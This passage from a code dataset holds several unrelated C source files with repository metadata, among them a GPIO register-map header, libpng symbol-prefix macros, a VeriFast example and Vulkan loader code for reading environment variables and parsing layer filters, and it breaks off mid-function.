if (!mutexIsLockedByCurrentThread(&g_VirtmemMutex)) return;
if (rv->next)
rv->next->prev = rv->prev;
if (rv->prev)
rv->prev->next = rv->next;
else
g_Reservations = rv->next;
__libnx_free(rv);
}
|
d5d9f2862d2b21e2bb4e8a6c87ba444892e22d9b
|
c6759b857e55991fea3ef0b465dbcee53fa38714
|
/rtos/freeRTOS/vendors/gwt/vega/pmsis/include/pmsis/targets/periph/gpio/gpio_regmap.h
|
4214aa5521530988377e484c08e59ad9c55833a8
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
GreenWaves-Technologies/gap_sdk
|
1b343bba97b7a5ce62a24162bd72eef5cc67e269
|
3fea306d52ee33f923f2423c5a75d9eb1c07e904
|
refs/heads/master
| 2023-09-01T14:38:34.270427
| 2023-08-10T09:04:44
| 2023-08-10T09:04:44
| 133,324,605
| 145
| 96
|
Apache-2.0
| 2023-08-27T19:03:52
| 2018-05-14T07:50:29
|
C
|
UTF-8
|
C
| false
| false
| 3,308
|
h
|
gpio_regmap.h
|
/* THIS FILE HAS BEEN GENERATED, DO NOT MODIFY IT.
*/
/*
* Copyright (C) 2020 GreenWaves Technologies
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __ARCHI_GPIO_REGMAP__
#define __ARCHI_GPIO_REGMAP__
#if !defined(LANGUAGE_ASSEMBLY) && !defined(__ASSEMBLER__)
#include <stdint.h>
#endif
//
// REGISTERS GLOBAL STRUCT
//
#if !defined(LANGUAGE_ASSEMBLY) && !defined(__ASSEMBLER__)
/** GPIO_Type Register Layout Typedef */
typedef struct {
volatile uint32_t paddir_00_31; // GPIO pad direction configuration register.
volatile uint32_t gpioen_00_31; // GPIO enable register.
volatile uint32_t padin_00_31; // GPIO pad input value register.
volatile uint32_t padout_00_31; // GPIO pad output value register.
volatile uint32_t padoutset_00_31; // GPIO pad output set register.
volatile uint32_t padoutclr_00_31; // GPIO pad output clear register.
volatile uint32_t inten_00_31; // GPIO pad interrupt enable configuration register.
volatile uint32_t inttype_00_15; // GPIO pad interrupt type gpio 0 to 15 register.
volatile uint32_t inttype_16_31; // GPIO pad interrupt type gpio 16 to 31 register.
volatile uint32_t intstatus_00_31; // GPIO pad interrupt status register.
volatile uint32_t padcfg_00_07; // GPIO pad pin 0 to 7 configuration register.
volatile uint32_t padcfg_08_15; // GPIO pad pin 8 to 15 configuration register.
volatile uint32_t padcfg_16_23; // GPIO pad pin 16 to 23 configuration register.
volatile uint32_t padcfg_24_31; // GPIO pad pin 24 to 31 configuration register.
volatile uint32_t paddir_32_63; // GPIO pad direction configuration register.
volatile uint32_t gpioen_32_63; // GPIO enable register.
volatile uint32_t padin_32_63; // GPIO pad input value register.
volatile uint32_t padout_32_63; // GPIO pad output value register.
volatile uint32_t padoutset_32_63; // GPIO pad output set register.
volatile uint32_t padoutclr_32_63; // GPIO pad output clear register.
volatile uint32_t inten_32_63; // GPIO pad interrupt enable configuration register.
volatile uint32_t inttype_32_47; // GPIO pad interrupt type gpio 0 to 15 register.
volatile uint32_t inttype_48_63; // GPIO pad interrupt type gpio 16 to 31 register.
volatile uint32_t intstatus_32_63; // GPIO pad interrupt status register.
volatile uint32_t padcfg_32_39; // GPIO pad pin 0 to 7 configuration register.
volatile uint32_t padcfg_40_47; // GPIO pad pin 8 to 15 configuration register.
volatile uint32_t padcfg_48_55; // GPIO pad pin 16 to 23 configuration register.
volatile uint32_t padcfg_56_63; // GPIO pad pin 24 to 31 configuration register.
} __attribute__((packed)) gpio_t;
#endif /* LANGUAGE_ASSEMBLY || __ASSEMBLER__ */
#endif
|
7d6dda45a786bf70a54ae8cb46b97dd38560f4c6
|
f9e0bec9ebe796b499669219fdc93596c9ac84bc
|
/test/if-char.c
|
c22d76752ba89e0b501e74142fb2e4bb0c3c8ed0
|
[
"Unlicense",
"ISC",
"LicenseRef-scancode-public-domain",
"MIT"
] |
permissive
|
michaelforney/cproc
|
9dac8bbb4c51edcd5e27a282963126c34052dc29
|
0985a7893a4b5de63a67ebab445892d9fffe275b
|
refs/heads/master
| 2023-09-03T12:51:45.642163
| 2022-12-14T22:29:59
| 2023-05-02T18:53:44
| 182,349,746
| 582
| 50
|
NOASSERTION
| 2022-10-30T21:23:20
| 2019-04-20T02:24:28
|
C
|
UTF-8
|
C
| false
| false
| 69
|
c
|
if-char.c
|
int main(void) {
if ((unsigned char)0x100)
return 1;
return 0;
}
|
3c57c014585628aff680e3d8f734ad7c532d7c33
|
e9bf17c178cc70bf36a7cebc23d98719cb11b0f9
|
/esp32/examples/ttgo_demo/components/lvgl_gui/include/iot_lvgl.h
|
9ef723ea5769b9be743f046aba082da804cfc529
|
[
"BSD-3-Clause"
] |
permissive
|
joachimBurket/esp32-opencv
|
41bc9c0c44ce21e561ca574c4b0dbba8ba431b2a
|
f485b59d7b43b0a2f77a5ab547e2597929f7094a
|
refs/heads/master
| 2021-08-15T10:43:01.564233
| 2021-08-06T14:43:41
| 2021-08-06T14:43:41
| 249,403,512
| 236
| 52
|
NOASSERTION
| 2020-10-13T20:35:11
| 2020-03-23T10:45:26
|
C++
|
UTF-8
|
C
| false
| false
| 347
|
h
|
iot_lvgl.h
|
#ifndef _COM_GUI_LVGL_H
#define _COM_GUI_LVGL_H
#ifdef __cplusplus
extern "C"
{
#endif
#include "sdkconfig.h"
#include "lv_conf.h"
#include "lvgl.h"
/**********************
* GLOBAL PROTOTYPES
**********************/
/**
* @brief Initialize LittlevGL GUI
*/
void lvgl_init();
#ifdef __cplusplus
}
#endif
#endif /* _COM_GUI_LVGL_H */
|
7c5a8fdb0a2d742edfbbfc0aeba9acb8b8c416c8
|
0577a46d8d28e1fd8636893bbdd2b18270bb8eb8
|
/update_notifier/thirdparty/wxWidgets/src/png/pngprefix.h
|
fbd0fa27738735f27f63c13ed5d09cd59708debc
|
[
"Libpng",
"BSD-3-Clause"
] |
permissive
|
ric2b/Vivaldi-browser
|
388a328b4cb838a4c3822357a5529642f86316a5
|
87244f4ee50062e59667bf8b9ca4d5291b6818d7
|
refs/heads/master
| 2022-12-21T04:44:13.804535
| 2022-12-17T16:30:35
| 2022-12-17T16:30:35
| 86,637,416
| 166
| 41
|
BSD-3-Clause
| 2021-03-31T18:49:30
| 2017-03-29T23:09:05
| null |
UTF-8
|
C
| false
| false
| 7,812
|
h
|
pngprefix.h
|
#define png_sRGB_table wx_png_sRGB_table
#define png_sRGB_base wx_png_sRGB_base
#define png_sRGB_delta wx_png_sRGB_delta
#define png_zstream_error wx_png_zstream_error
#define png_free_buffer_list wx_png_free_buffer_list
#define png_fixed wx_png_fixed
#define png_user_version_check wx_png_user_version_check
#define png_malloc_base wx_png_malloc_base
#define png_malloc_array wx_png_malloc_array
#define png_realloc_array wx_png_realloc_array
#define png_create_png_struct wx_png_create_png_struct
#define png_destroy_png_struct wx_png_destroy_png_struct
#define png_free_jmpbuf wx_png_free_jmpbuf
#define png_zalloc wx_png_zalloc
#define png_zfree wx_png_zfree
#define png_default_read_data wx_png_default_read_data
#define png_push_fill_buffer wx_png_push_fill_buffer
#define png_default_write_data wx_png_default_write_data
#define png_default_flush wx_png_default_flush
#define png_reset_crc wx_png_reset_crc
#define png_write_data wx_png_write_data
#define png_read_sig wx_png_read_sig
#define png_read_chunk_header wx_png_read_chunk_header
#define png_read_data wx_png_read_data
#define png_crc_read wx_png_crc_read
#define png_crc_finish wx_png_crc_finish
#define png_crc_error wx_png_crc_error
#define png_calculate_crc wx_png_calculate_crc
#define png_flush wx_png_flush
#define png_write_IHDR wx_png_write_IHDR
#define png_write_PLTE wx_png_write_PLTE
#define png_compress_IDAT wx_png_compress_IDAT
#define png_write_IEND wx_png_write_IEND
#define png_write_gAMA_fixed wx_png_write_gAMA_fixed
#define png_write_sBIT wx_png_write_sBIT
#define png_write_cHRM_fixed wx_png_write_cHRM_fixed
#define png_write_sRGB wx_png_write_sRGB
#define png_write_eXIf wx_png_write_eXIf
#define png_write_iCCP wx_png_write_iCCP
#define png_write_sPLT wx_png_write_sPLT
#define png_write_tRNS wx_png_write_tRNS
#define png_write_bKGD wx_png_write_bKGD
#define png_write_hIST wx_png_write_hIST
#define png_write_tEXt wx_png_write_tEXt
#define png_write_zTXt wx_png_write_zTXt
#define png_write_iTXt wx_png_write_iTXt
#define png_set_text_2 wx_png_set_text_2
#define png_write_oFFs wx_png_write_oFFs
#define png_write_pCAL wx_png_write_pCAL
#define png_write_pHYs wx_png_write_pHYs
#define png_write_tIME wx_png_write_tIME
#define png_write_sCAL_s wx_png_write_sCAL_s
#define png_write_finish_row wx_png_write_finish_row
#define png_write_start_row wx_png_write_start_row
#define png_combine_row wx_png_combine_row
#define png_do_read_interlace wx_png_do_read_interlace
#define png_do_write_interlace wx_png_do_write_interlace
#define png_read_filter_row wx_png_read_filter_row
#define png_write_find_filter wx_png_write_find_filter
#define png_read_IDAT_data wx_png_read_IDAT_data
#define png_read_finish_IDAT wx_png_read_finish_IDAT
#define png_read_finish_row wx_png_read_finish_row
#define png_read_start_row wx_png_read_start_row
#define png_zlib_inflate wx_png_zlib_inflate
#define png_read_transform_info wx_png_read_transform_info
#define png_do_strip_channel wx_png_do_strip_channel
#define png_do_swap wx_png_do_swap
#define png_do_packswap wx_png_do_packswap
#define png_do_invert wx_png_do_invert
#define png_do_bgr wx_png_do_bgr
#define png_handle_IHDR wx_png_handle_IHDR
#define png_handle_PLTE wx_png_handle_PLTE
#define png_handle_IEND wx_png_handle_IEND
#define png_handle_bKGD wx_png_handle_bKGD
#define png_handle_cHRM wx_png_handle_cHRM
#define png_handle_eXIf wx_png_handle_eXIf
#define png_handle_gAMA wx_png_handle_gAMA
#define png_handle_hIST wx_png_handle_hIST
#define png_handle_iCCP wx_png_handle_iCCP
#define png_handle_iTXt wx_png_handle_iTXt
#define png_handle_oFFs wx_png_handle_oFFs
#define png_handle_pCAL wx_png_handle_pCAL
#define png_handle_pHYs wx_png_handle_pHYs
#define png_handle_sBIT wx_png_handle_sBIT
#define png_handle_sCAL wx_png_handle_sCAL
#define png_handle_sPLT wx_png_handle_sPLT
#define png_handle_sRGB wx_png_handle_sRGB
#define png_handle_tEXt wx_png_handle_tEXt
#define png_handle_tIME wx_png_handle_tIME
#define png_handle_tRNS wx_png_handle_tRNS
#define png_handle_zTXt wx_png_handle_zTXt
#define png_check_chunk_name wx_png_check_chunk_name
#define png_check_chunk_length wx_png_check_chunk_length
#define png_handle_unknown wx_png_handle_unknown
#define png_chunk_unknown_handling wx_png_chunk_unknown_handling
#define png_do_read_transformations wx_png_do_read_transformations
#define png_do_write_transformations wx_png_do_write_transformations
#define png_init_read_transformations wx_png_init_read_transformations
#define png_push_read_chunk wx_png_push_read_chunk
#define png_push_read_sig wx_png_push_read_sig
#define png_push_check_crc wx_png_push_check_crc
#define png_push_save_buffer wx_png_push_save_buffer
#define png_push_restore_buffer wx_png_push_restore_buffer
#define png_push_read_IDAT wx_png_push_read_IDAT
#define png_process_IDAT_data wx_png_process_IDAT_data
#define png_push_process_row wx_png_push_process_row
#define png_push_handle_unknown wx_png_push_handle_unknown
#define png_push_have_info wx_png_push_have_info
#define png_push_have_end wx_png_push_have_end
#define png_push_have_row wx_png_push_have_row
#define png_push_read_end wx_png_push_read_end
#define png_process_some_data wx_png_process_some_data
#define png_read_push_finish_row wx_png_read_push_finish_row
#define png_push_handle_tEXt wx_png_push_handle_tEXt
#define png_push_read_tEXt wx_png_push_read_tEXt
#define png_push_handle_zTXt wx_png_push_handle_zTXt
#define png_push_read_zTXt wx_png_push_read_zTXt
#define png_push_handle_iTXt wx_png_push_handle_iTXt
#define png_push_read_iTXt wx_png_push_read_iTXt
#define png_colorspace_set_gamma wx_png_colorspace_set_gamma
#define png_colorspace_sync_info wx_png_colorspace_sync_info
#define png_colorspace_sync wx_png_colorspace_sync
#define png_colorspace_set_chromaticities wx_png_colorspace_set_chromaticities
#define png_colorspace_set_endpoints wx_png_colorspace_set_endpoints
#define png_colorspace_set_sRGB wx_png_colorspace_set_sRGB
#define png_colorspace_set_ICC wx_png_colorspace_set_ICC
#define png_icc_check_length wx_png_icc_check_length
#define png_icc_check_header wx_png_icc_check_header
#define png_icc_check_tag_table wx_png_icc_check_tag_table
#define png_icc_set_sRGB wx_png_icc_set_sRGB
#define png_colorspace_set_rgb_coefficients wx_png_colorspace_set_rgb_coefficients
#define png_check_IHDR wx_png_check_IHDR
#define png_do_check_palette_indexes wx_png_do_check_palette_indexes
#define png_fixed_error wx_png_fixed_error
#define png_safecat wx_png_safecat
#define png_format_number wx_png_format_number
#define png_warning_parameter wx_png_warning_parameter
#define png_warning_parameter_unsigned wx_png_warning_parameter_unsigned
#define png_warning_parameter_signed wx_png_warning_parameter_signed
#define png_formatted_warning wx_png_formatted_warning
#define png_app_warning wx_png_app_warning
#define png_app_error wx_png_app_error
#define png_chunk_report wx_png_chunk_report
#define png_ascii_from_fp wx_png_ascii_from_fp
#define png_ascii_from_fixed wx_png_ascii_from_fixed
#define png_check_fp_number wx_png_check_fp_number
#define png_check_fp_string wx_png_check_fp_string
#define png_muldiv wx_png_muldiv
#define png_muldiv_warn wx_png_muldiv_warn
#define png_reciprocal wx_png_reciprocal
#define png_reciprocal2 wx_png_reciprocal2
#define png_gamma_significant wx_png_gamma_significant
#define png_gamma_correct wx_png_gamma_correct
#define png_gamma_16bit_correct wx_png_gamma_16bit_correct
#define png_gamma_8bit_correct wx_png_gamma_8bit_correct
#define png_destroy_gamma_table wx_png_destroy_gamma_table
#define png_build_gamma_table wx_png_build_gamma_table
#define png_safe_error wx_png_safe_error
#define png_safe_warning wx_png_safe_warning
#define png_safe_execute wx_png_safe_execute
#define png_image_error wx_png_image_error
#define png_check_keyword wx_png_check_keyword
|
81d80084de77e65d6eb7bf48f04ee5ecaa80b7e6
|
0cc343d927d5db6693006018986715c43acab961
|
/examples/linking/simple_pred/prelude_redef.c
|
49cedae75bb3560674a0e206711ebff1daaf7866
|
[
"MIT"
] |
permissive
|
verifast/verifast
|
ec0101fc4a69bd33c5f66be4444169c4e060ead8
|
d152da790c7ebf72ce616533a6c83082629adbdb
|
refs/heads/master
| 2023-08-25T00:13:51.464802
| 2023-08-13T10:00:00
| 2023-08-13T10:00:00
| 14,519,163
| 325
| 64
|
NOASSERTION
| 2023-08-10T21:16:08
| 2013-11-19T08:57:02
|
OCaml
|
UTF-8
|
C
| false
| false
| 238
|
c
|
prelude_redef.c
|
//@ predicate module(int moduleId, bool initialized) = false;
int main() //@ : main_full(prelude_redef)
//@ requires module(prelude_redef, true);
//@ ensures false;
{
//@ open module(_, _);
return 0; //~allow_dead_code
}
|
a712f0343e08563aba3d336117f5aec48cdd9a04
|
33c8b91cdeeb01859cd3efd4c6a6750075a06f36
|
/loader/loader_environment.c
|
a419561c83d551224c623a8167724506ad00da91
|
[
"Apache-2.0"
] |
permissive
|
KhronosGroup/Vulkan-Loader
|
6564b1e7308058f40a3d006c3b53dfc5152e4719
|
d34bfafff23602e857064bea6d99a35eb63f37f2
|
refs/heads/main
| 2023-08-31T13:33:49.510034
| 2023-08-25T18:39:57
| 2023-08-25T19:45:18
| 132,043,422
| 449
| 329
|
NOASSERTION
| 2023-09-13T19:33:01
| 2018-05-03T19:59:26
|
C
|
UTF-8
|
C
| false
| false
| 24,868
|
c
|
loader_environment.c
|
/*
*
* Copyright (c) 2014-2023 The Khronos Group Inc.
* Copyright (c) 2014-2023 Valve Corporation
* Copyright (c) 2014-2023 LunarG, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: Jon Ashburn <jon@lunarg.com>
* Author: Courtney Goeltzenleuchter <courtney@LunarG.com>
* Author: Chia-I Wu <olvaffe@gmail.com>
* Author: Chia-I Wu <olv@lunarg.com>
* Author: Mark Lobodzinski <mark@LunarG.com>
* Author: Lenny Komow <lenny@lunarg.com>
* Author: Charles Giessen <charles@lunarg.com>
*
*/
#include "loader_environment.h"
#include "allocation.h"
#include "loader.h"
#include "log.h"
#include <ctype.h>
// Environment variables
#if COMMON_UNIX_PLATFORMS
bool is_high_integrity() { return geteuid() != getuid() || getegid() != getgid(); }
char *loader_getenv(const char *name, const struct loader_instance *inst) {
if (NULL == name) return NULL;
// No allocation of memory necessary for Linux, but we should at least touch
// the inst pointer to get rid of compiler warnings.
(void)inst;
return getenv(name);
}
char *loader_secure_getenv(const char *name, const struct loader_instance *inst) {
#if defined(__APPLE__) || defined(__FreeBSD__) || defined(__OpenBSD__)
// Apple does not appear to have a secure getenv implementation.
// The main difference between secure getenv and getenv is that secure getenv
// returns NULL if the process is being run with elevated privileges by a normal user.
// The idea is to prevent the reading of malicious environment variables by a process
// that can do damage.
// This algorithm is derived from glibc code that sets an internal
// variable (__libc_enable_secure) if the process is running under setuid or setgid.
return is_high_integrity() ? NULL : loader_getenv(name, inst);
#elif defined(__Fuchsia__)
return loader_getenv(name, inst);
#else
// Linux
char *out;
#if defined(HAVE_SECURE_GETENV) && !defined(LOADER_USE_UNSAFE_FILE_SEARCH)
(void)inst;
out = secure_getenv(name);
#elif defined(HAVE___SECURE_GETENV) && !defined(LOADER_USE_UNSAFE_FILE_SEARCH)
(void)inst;
out = __secure_getenv(name);
#else
out = loader_getenv(name, inst);
#if !defined(LOADER_USE_UNSAFE_FILE_SEARCH)
loader_log(inst, VULKAN_LOADER_INFO_BIT, 0, "Loader is using non-secure environment variable lookup for %s", name);
#endif
#endif
return out;
#endif
}
void loader_free_getenv(char *val, const struct loader_instance *inst) {
// No freeing of memory necessary for Linux, but we should at least touch
// the val and inst pointers to get rid of compiler warnings.
(void)val;
(void)inst;
}
#elif defined(WIN32)
bool is_high_integrity() {
HANDLE process_token;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_QUERY_SOURCE, &process_token)) {
// Maximum possible size of SID_AND_ATTRIBUTES is maximum size of a SID + size of attributes DWORD.
uint8_t mandatory_label_buffer[SECURITY_MAX_SID_SIZE + sizeof(DWORD)];
DWORD buffer_size;
if (GetTokenInformation(process_token, TokenIntegrityLevel, mandatory_label_buffer, sizeof(mandatory_label_buffer),
&buffer_size) != 0) {
const TOKEN_MANDATORY_LABEL *mandatory_label = (const TOKEN_MANDATORY_LABEL *)mandatory_label_buffer;
const DWORD sub_authority_count = *GetSidSubAuthorityCount(mandatory_label->Label.Sid);
const DWORD integrity_level = *GetSidSubAuthority(mandatory_label->Label.Sid, sub_authority_count - 1);
CloseHandle(process_token);
return integrity_level >= SECURITY_MANDATORY_HIGH_RID;
}
CloseHandle(process_token);
}
return false;
}
char *loader_getenv(const char *name, const struct loader_instance *inst) {
int name_utf16_size = MultiByteToWideChar(CP_UTF8, 0, name, -1, NULL, 0);
if (name_utf16_size <= 0) {
return NULL;
}
wchar_t *name_utf16 = (wchar_t *)loader_stack_alloc(name_utf16_size * sizeof(wchar_t));
if (MultiByteToWideChar(CP_UTF8, 0, name, -1, name_utf16, name_utf16_size) != name_utf16_size) {
return NULL;
}
DWORD val_size = GetEnvironmentVariableW(name_utf16, NULL, 0);
// val_size DOES include the null terminator, so for any set variable
// will always be at least 1. If it's 0, the variable wasn't set.
if (val_size == 0) {
return NULL;
}
wchar_t *val = (wchar_t *)loader_stack_alloc(val_size * sizeof(wchar_t));
if (GetEnvironmentVariableW(name_utf16, val, val_size) != val_size - 1) {
return NULL;
}
int val_utf8_size = WideCharToMultiByte(CP_UTF8, 0, val, -1, NULL, 0, NULL, NULL);
if (val_utf8_size <= 0) {
return NULL;
}
char *val_utf8 = (char *)loader_instance_heap_alloc(inst, val_utf8_size * sizeof(char), VK_SYSTEM_ALLOCATION_SCOPE_COMMAND);
if (val_utf8 == NULL) {
return NULL;
}
if (WideCharToMultiByte(CP_UTF8, 0, val, -1, val_utf8, val_utf8_size, NULL, NULL) != val_utf8_size) {
loader_instance_heap_free(inst, val_utf8);
return NULL;
}
return val_utf8;
}
char *loader_secure_getenv(const char *name, const struct loader_instance *inst) {
if (NULL == name) return NULL;
#if !defined(LOADER_USE_UNSAFE_FILE_SEARCH)
if (is_high_integrity()) {
loader_log(inst, VULKAN_LOADER_INFO_BIT, 0,
"Loader is running with elevated permissions. Environment variable %s will be ignored", name);
return NULL;
}
#endif
return loader_getenv(name, inst);
}
void loader_free_getenv(char *val, const struct loader_instance *inst) { loader_instance_heap_free(inst, (void *)val); }
#else
#warning \
"This platform does not support environment variables! If this is not intended, please implement the stubs functions loader_getenv and loader_free_getenv"
char *loader_getenv(const char *name, const struct loader_instance *inst) {
// stub func
(void)inst;
(void)name;
return NULL;
}
void loader_free_getenv(char *val, const struct loader_instance *inst) {
// stub func
(void)val;
(void)inst;
}
#endif
// Determine the type of filter string based on the contents of it.
// This will properly check against:
// - substrings "*string*"
// - prefixes "string*"
// - suffixes "*string"
// - full string names "string"
// It will also return the correct start and finish to remove any star '*' characters for the actual string compare
void determine_filter_type(const char *filter_string, enum loader_filter_string_type *filter_type, const char **new_start,
size_t *new_length) {
size_t filter_length = strlen(filter_string);
bool star_begin = false;
bool star_end = false;
if ('~' == filter_string[0]) {
// One of the special identifiers like: ~all~, ~implicit~, or ~explicit~
*filter_type = FILTER_STRING_SPECIAL;
*new_start = filter_string;
*new_length = filter_length;
} else {
if ('*' == filter_string[0]) {
// Only the * means everything
if (filter_length == 1) {
*filter_type = FILTER_STRING_SPECIAL;
*new_start = filter_string;
*new_length = filter_length;
} else {
star_begin = true;
}
}
if ('*' == filter_string[filter_length - 1]) {
// Not really valid, but just catch this case so if someone accidentally types "**" it will also mean everything
if (filter_length == 2) {
*filter_type = FILTER_STRING_SPECIAL;
*new_start = filter_string;
*new_length = filter_length;
} else {
star_end = true;
}
}
if (star_begin && star_end) {
*filter_type = FILTER_STRING_SUBSTRING;
*new_start = &filter_string[1];
*new_length = filter_length - 2;
} else if (star_begin) {
*new_start = &filter_string[1];
*new_length = filter_length - 1;
*filter_type = FILTER_STRING_SUFFIX;
} else if (star_end) {
*filter_type = FILTER_STRING_PREFIX;
*new_start = filter_string;
*new_length = filter_length - 1;
} else {
*filter_type = FILTER_STRING_FULLNAME;
*new_start = filter_string;
*new_length = filter_length;
}
}
}
// Parse the provided filter string provided by the envrionment variable into the appropriate filter
// struct variable.
VkResult parse_generic_filter_environment_var(const struct loader_instance *inst, const char *env_var_name,
struct loader_envvar_filter *filter_struct) {
VkResult result = VK_SUCCESS;
memset(filter_struct, 0, sizeof(struct loader_envvar_filter));
char *parsing_string = NULL;
char *env_var_value = loader_secure_getenv(env_var_name, inst);
if (NULL == env_var_value) {
return result;
}
const size_t env_var_len = strlen(env_var_value);
if (env_var_len == 0) {
goto out;
}
// Allocate a separate string since scan_for_next_comma modifies the original string
parsing_string = loader_instance_heap_calloc(inst, env_var_len + 1, VK_SYSTEM_ALLOCATION_SCOPE_INSTANCE);
if (NULL == parsing_string) {
loader_log(inst, VULKAN_LOADER_ERROR_BIT, 0,
"parse_generic_filter_environment_var: Failed to allocate space for parsing env var \'%s\'", env_var_name);
result = VK_ERROR_OUT_OF_HOST_MEMORY;
goto out;
}
for (uint32_t iii = 0; iii < env_var_len; ++iii) {
parsing_string[iii] = (char)tolower(env_var_value[iii]);
}
parsing_string[env_var_len] = '\0';
char *context = NULL;
char *token = thread_safe_strtok(parsing_string, ",", &context);
while (NULL != token) {
enum loader_filter_string_type cur_filter_type;
const char *actual_start;
size_t actual_len;
determine_filter_type(token, &cur_filter_type, &actual_start, &actual_len);
if (actual_len > VK_MAX_EXTENSION_NAME_SIZE) {
loader_strncpy(filter_struct->filters[filter_struct->count].value, VK_MAX_EXTENSION_NAME_SIZE, actual_start,
VK_MAX_EXTENSION_NAME_SIZE);
} else {
loader_strncpy(filter_struct->filters[filter_struct->count].value, VK_MAX_EXTENSION_NAME_SIZE, actual_start,
actual_len);
}
filter_struct->filters[filter_struct->count].length = actual_len;
filter_struct->filters[filter_struct->count++].type = cur_filter_type;
if (filter_struct->count >= MAX_ADDITIONAL_FILTERS) {
break;
}
token = thread_safe_strtok(NULL, ",", &context);
}
out:
loader_instance_heap_free(inst, parsing_string);
loader_free_getenv(env_var_value, inst);
return result;
}
// Parse the disable layer string. The layer disable has some special behavior because we allow it to disable
// all layers (either with "~all~", "*", or "**"), all implicit layers (with "~implicit~"), and all explicit layers
// (with "~explicit~"), in addition to the other layer filtering behavior.
VkResult parse_layers_disable_filter_environment_var(const struct loader_instance *inst,
struct loader_envvar_disable_layers_filter *disable_struct) {
VkResult result = VK_SUCCESS;
memset(disable_struct, 0, sizeof(struct loader_envvar_disable_layers_filter));
char *parsing_string = NULL;
char *env_var_value = loader_secure_getenv(VK_LAYERS_DISABLE_ENV_VAR, inst);
if (NULL == env_var_value) {
goto out;
}
const size_t env_var_len = strlen(env_var_value);
if (env_var_len == 0) {
goto out;
}
// Allocate a separate string since scan_for_next_comma modifies the original string
parsing_string = loader_instance_heap_calloc(inst, env_var_len + 1, VK_SYSTEM_ALLOCATION_SCOPE_INSTANCE);
if (NULL == parsing_string) {
loader_log(inst, VULKAN_LOADER_ERROR_BIT, 0,
"parse_layers_disable_filter_environment_var: Failed to allocate space for parsing env var "
"\'VK_LAYERS_DISABLE_ENV_VAR\'");
result = VK_ERROR_OUT_OF_HOST_MEMORY;
goto out;
}
for (uint32_t iii = 0; iii < env_var_len; ++iii) {
parsing_string[iii] = (char)tolower(env_var_value[iii]);
}
parsing_string[env_var_len] = '\0';
char *context = NULL;
char *token = thread_safe_strtok(parsing_string, ",", &context);
while (NULL != token) {
uint32_t cur_count = disable_struct->additional_filters.count;
enum loader_filter_string_type cur_filter_type;
const char *actual_start;
size_t actual_len;
determine_filter_type(token, &cur_filter_type, &actual_start, &actual_len);
if (cur_filter_type == FILTER_STRING_SPECIAL) {
if (!strcmp(VK_LOADER_DISABLE_ALL_LAYERS_VAR_1, token) || !strcmp(VK_LOADER_DISABLE_ALL_LAYERS_VAR_2, token) ||
!strcmp(VK_LOADER_DISABLE_ALL_LAYERS_VAR_3, token)) {
disable_struct->disable_all = true;
} else if (!strcmp(VK_LOADER_DISABLE_IMPLICIT_LAYERS_VAR, token)) {
disable_struct->disable_all_implicit = true;
} else if (!strcmp(VK_LOADER_DISABLE_EXPLICIT_LAYERS_VAR, token)) {
disable_struct->disable_all_explicit = true;
}
} else {
if (actual_len > VK_MAX_EXTENSION_NAME_SIZE) {
loader_strncpy(disable_struct->additional_filters.filters[cur_count].value, VK_MAX_EXTENSION_NAME_SIZE,
actual_start, VK_MAX_EXTENSION_NAME_SIZE);
} else {
loader_strncpy(disable_struct->additional_filters.filters[cur_count].value, VK_MAX_EXTENSION_NAME_SIZE,
actual_start, actual_len);
}
disable_struct->additional_filters.filters[cur_count].length = actual_len;
disable_struct->additional_filters.filters[cur_count].type = cur_filter_type;
disable_struct->additional_filters.count++;
if (disable_struct->additional_filters.count >= MAX_ADDITIONAL_FILTERS) {
break;
}
}
token = thread_safe_strtok(NULL, ",", &context);
}
out:
loader_instance_heap_free(inst, parsing_string);
loader_free_getenv(env_var_value, inst);
return result;
}
// Parses the filter environment variables to determine if we have any special behavior
VkResult parse_layer_environment_var_filters(const struct loader_instance *inst, struct loader_envvar_all_filters *layer_filters) {
VkResult res = parse_generic_filter_environment_var(inst, VK_LAYERS_ENABLE_ENV_VAR, &layer_filters->enable_filter);
if (VK_SUCCESS != res) {
return res;
}
res = parse_layers_disable_filter_environment_var(inst, &layer_filters->disable_filter);
if (VK_SUCCESS != res) {
return res;
}
res = parse_generic_filter_environment_var(inst, VK_LAYERS_ALLOW_ENV_VAR, &layer_filters->allow_filter);
if (VK_SUCCESS != res) {
return res;
}
return res;
}
// Check to see if the provided layer name matches any of the filter strings.
// This will properly check against:
// - substrings "*string*"
// - prefixes "string*"
// - suffixes "*string"
// - full string names "string"
bool check_name_matches_filter_environment_var(const char *name, const struct loader_envvar_filter *filter_struct) {
bool ret_value = false;
const size_t name_len = strlen(name);
char lower_name[VK_MAX_EXTENSION_NAME_SIZE];
for (uint32_t iii = 0; iii < name_len; ++iii) {
lower_name[iii] = (char)tolower(name[iii]);
}
lower_name[name_len] = '\0';
for (uint32_t filt = 0; filt < filter_struct->count; ++filt) {
// Check if the filter name is longer (this is with all special characters removed), and if it is
// continue since it can't match.
if (filter_struct->filters[filt].length > name_len) {
continue;
}
switch (filter_struct->filters[filt].type) {
case FILTER_STRING_SPECIAL:
if (!strcmp(VK_LOADER_DISABLE_ALL_LAYERS_VAR_1, filter_struct->filters[filt].value) ||
!strcmp(VK_LOADER_DISABLE_ALL_LAYERS_VAR_2, filter_struct->filters[filt].value) ||
!strcmp(VK_LOADER_DISABLE_ALL_LAYERS_VAR_3, filter_struct->filters[filt].value)) {
ret_value = true;
}
break;
case FILTER_STRING_SUBSTRING:
if (NULL != strstr(lower_name, filter_struct->filters[filt].value)) {
ret_value = true;
}
break;
case FILTER_STRING_SUFFIX:
if (0 == strncmp(lower_name + name_len - filter_struct->filters[filt].length, filter_struct->filters[filt].value,
filter_struct->filters[filt].length)) {
ret_value = true;
}
break;
case FILTER_STRING_PREFIX:
